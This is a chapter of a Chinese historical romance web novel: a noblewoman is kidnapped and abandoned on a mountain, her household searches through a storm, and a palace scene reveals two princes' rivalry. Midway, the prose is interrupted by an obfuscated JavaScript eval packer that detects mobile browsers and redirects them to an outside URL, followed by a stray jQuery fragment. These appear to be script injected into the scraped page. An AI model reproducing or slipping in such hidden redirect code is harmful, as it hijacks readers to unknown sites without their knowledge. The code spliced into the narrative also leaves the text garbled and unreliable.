宋愉安将桂花糕一个一个放在盘中摆好,袖口挽到小臂,露出的一节胳膊,沾了不少面粉。他小心翼翼端起,生怕一个不小心手抖,就会将好不容易摆好的盘给打乱。


    明月风风火火走进屋内,脸色很是难看。“做好了?”她语调上扬,带着满满的敌意。


    宋愉安微微挑眉,倒是不恼,“姐姐呢?”


    “明月!”小春掀开厨房的布帘,神色慌张,“你瞧见小姐没?”


    “刚刚不还在庭院呢?”


    小春摇摇头,“我给老爷夫人上完香后,便想着天黑了会冷,于是拿了披风去找小姐。可苏府我转遍了,都未见到小姐的身影。”


    她还微微喘着粗气,颤抖着从抱着披风的手中伸出帕子。“这是我刚刚在外面院子捡到的。小姐不是这般粗心大意的人,怎会帕子掉了都不知呢!”


    两人一听,也都瞬间慌了神,宋愉安顾不得盘中糕点,随意搁置到一边的桌上。


    “会不会是正好错开了?”


    “把府中所有人都来找!”


    马车驶过竹林,路面潮湿,泥泞不堪,一路颠簸。


    在绊到一块石头后,苏清晓从座椅上掉下,头磕在四周的木头上。钻心的疼痛瞬间从头顶传遍全身,疼得她睁开眼。


    眼前视线渐渐明晰,周围漆黑一片,只有偶尔被风吹开的帘子会透些月色进来。


    她这是在哪?


    苏清晓想先坐起身,却发现手脚都被人用绳子捆了起来。


    一阵颠簸,她滚了一圈,背撞到门口的木板。好在马车门较窄,否则这一下,她都该掉出去。


    “你说哪有这样的差事!这都什么时辰了,不让人休息,一直赶路。”


    “哎呀,看在银子的份上,忍忍吧。”


    男人的声音从帘子外传进来,苏清晓嘴里被塞着布条,呜咽地喊了两声,皆被马车车轮行驶的声音盖了过去。


    这些人又是谁?他们要带她去哪?


    情况危急,苏清晓根本没时间去细想。靠近木板,小心地蹭着手腕上的麻绳。


    该死!这帮人给绳子系的死结,勒得又紧,竟是怎么都蹭不开。


    “轰隆——”


    一道雷声在耳边炸开,惊得她浑身一颤。


    “真是晦气!要下大雨了!”


    赶马的男人啐了一口,“快点吧,要是雨下大了,山路可就不好走了!”


    山路?


    苏清晓眉心一跳,难不成这两人要把她绑到山上去?


    雨势凶猛,雷声刚停歇不到一盏茶的时间,大雨倾盆而下。


    豆大的雨珠好似要将马车顶砸出无数个窟窿,伴着大风,吹开帘子,飘进来不少雨。


    苏清晓身上被淋湿不少,夜里本就寒凉,下起大雨来,更是冷得她浑身发抖。


    苏府乱作一团,急得如热锅蚂蚁。


    宋愉安环视屋内一圈,屋外的大雨淅淅沥沥,好似永远也不会停下。


    “小姐会不会是贪玩跑出去了?”


    “有可能么!明明小姐才说了要用晚膳了。再者,小姐出门怎么可能不让人陪着?”


    “那小姐会去哪了啊!总不能是凭空消失了吧......”


    府中家仆的声音悉数落入宋愉安耳里,他眉目紧皱,心里的那股不安感越发强烈。


    “明月,你是最后一个看到小姐的,你离开前小姐有没有神色异常?”小春捏着明月的肩头,语气着急。


    “我......”明月沉思好一阵,“没有啊!没有!”她连连摇头,“我和小姐吵了一架,该不会......是小姐生我的气?离家出走了吧?”


    越说她越害怕,脸上满是自责痛苦。“我没有想要和小姐吵架的......我没有......”


    说着,两行清泪从她眼里滑落,顺着下巴滴到地上。


    秦青从屋外匆匆进来,收了伞,雨水瞬间淌了满地,打湿屋中地毯。“周围五百米内我都找了,没见到人。”


    这下,屋内更是不淡定了。纷纷小声猜测起来,苏清晓到底去了哪里。


    宋愉安直直朝秦青走去,夺过他手里的伞,径直朝外走去。


    “外面雨很大!”秦青紧忙追上前去拦下他。


    “让开!”


    “主......”


    “让开!”


    秦青张张嘴,没再敢言,默默低头退到一侧。


    果然如秦青所言,宋愉安只是刚走到苏府大门,衣摆便已湿了大半。


    距苏清晓失踪,已经过去两个时辰,天早已全黑,推开大门,根本不看清路。


    一盏微弱的灯光照亮些路,明月打着伞提着灯笼,走到他手边,“我跟你一起去找。”


    “雨大,你......”


    “让我去吧,我不会给你添麻烦的。”她目光坚定,语气带着些恳求。


    宋愉安心想,有个人帮忙也能快点,于是便应下来。


    直到天微微放亮,雨势才稍减。


    身后的帘子被掀开,光透进马车内,苏清晓赶紧闭上眼装晕。


    “怎么掉下来了?”


    她能感受到有个男人蹲下身,说话间气息喷洒在她手上。


    苏清晓心提到嗓子眼,不清楚他们的意图,她现在又被绑着,贸然谈判不是明智之举。


    一只手探到她面前,拍拍她的脸。


    “没醒就行。”


    话音刚落,一个男人将要懒腰抱起,扛在肩上,调下马车。


    瓢泼大雨变成淅淅沥沥的小雨,落在苏清晓身上。


    身下是男人被打湿彻底的蓑衣。雨水浸湿她腰腹间的衣物,刺骨的寒凉瞬间侵入她的肌肤。


    苏清晓咬紧布条,心里猜测着这两人的意图。


    下过雨的山路崎岖难行,她悄悄睁开眼,看着男人脚下的路。


    该不会是要把她带去给什么山大王做压寨夫人吧??


    苏清晓被自己这个猜测逗笑,她如今名声在外,且谁不知洛亲王重视她。哪个山大王不想要命了敢把她抓去?


    “这山路这么难走,回去一定得多报些银子。”


    “别废话了!赶紧把她丢山上去,然后回去交差吧。”


    雨渐渐停了,偶尔会有树叶上的一滴水落到她身上。


    终于,男人停下脚步,将她丢到地上。


    松软的泥土瞬间裹满她全身,土腥气瞬间充斥她的嗅觉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384871|181041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    苏清晓忍着身上传来的痛感,闭着眼装晕厥。


    “主子给的这药药效还真是好,这样都不醒。”


    主子?!哪个主子?苏清晓眉头微不可查地皱了下。


    “这儿离京州也够远了,量她醒了有跑不回去。”


    两个男人拍拍手,看了她一眼,转身下山。


    脚步声渐远,直到再也听不到后,苏清晓才敢睁开眼。


    周围是被雨水打得焉巴的树,她努力滚到一棵树边,接力站起身。


    浑身都疼,如有万只蚂蚁啃食般。


    但苏清晓顾不得这些,环顾四周后,目光定在一块还算锋利的石头上。


    她脚也被麻绳绑死,只能跳着过去。


    山上风大,更不提是在雨后的山上。一阵阵秋风吹过,冻得她瑟瑟发抖。


    地上好些地方被青苔覆盖,再被雨水打湿后,踩上一脚都能滑倒。


    她每一步都小心翼翼,有惊无险地跳到石头前,转过身去,蹲下,捡起。


    用石头最锋利的地方磨着手腕的绳索。


    “沙沙——”


    苏清晓瞬间警铃大作,手上动作加快些许,两只眼不断地环顾着周围。


    这种无人踏足的地方最吓人,不知道会从何处就窜出个食人野兽。


    好在,她刚刚听到的声音不过是被风吹动的叶子的声音。


    可即便如此,也依旧不敢放松警惕,不断地用石头磨着麻绳。


    终于,在感受到手腕痛感不那么明显时,绳子断了,顺着她的手腕掉到地上。


    苏清晓终于是呼出口气。


    手上的解决了,脚上的就更简单了。许是被绑了太久,彻底恢复自由时,竟觉得身上发麻。


    拍拍身上的泥后,苏清晓捡起根粗木棍,寻找着下山的路。


    唯一幸运的是,她并没有一直处于昏迷中,刚刚那两个男人把她扛上来时,她留意了路。


    否则此刻是真不知如何是好。


    皇宫——


    顾城跪在皇上榻前,“父皇,三哥在屋外跪着呢,想见您一面。”


    皇上咽下汤药,“让他走,朕没他这个儿子!”


    他气得连着咳了好几下,顾城见状连忙上前轻拍他的背。


    “三哥忙着替您处理朝政,难免会有所疏忽,父皇何需与三哥置气,三哥也是为了您的江山。”


    “哼,”皇上冷哼一声,“他常以长子自居,又是朕最宠爱的孩子,就该多承担些。”


    “是是是。那......”


    “朕倒要看看,他到底有几分孝心!”皇上呼出口气,“传他进来。”


    “是。”


    顾城取来枕头给皇上垫好后,亲自走出殿内。


    顾渊面无表情跪在殿外,见是他出来,也毫无意外。


    “三哥,父皇传您进去。”


    “是。”


    顾渊应了一声,撑着地面站起身。跪了一早上,双膝有些发麻。手边太监见状,立马上前将他扶起。


    可刚往前没走两步,手腕便被顾城拉住。他压着声音,低沉得如催命符咒,在顾渊耳边炸开——


    “弟弟听下人说,苏小姐被绑架了啊......”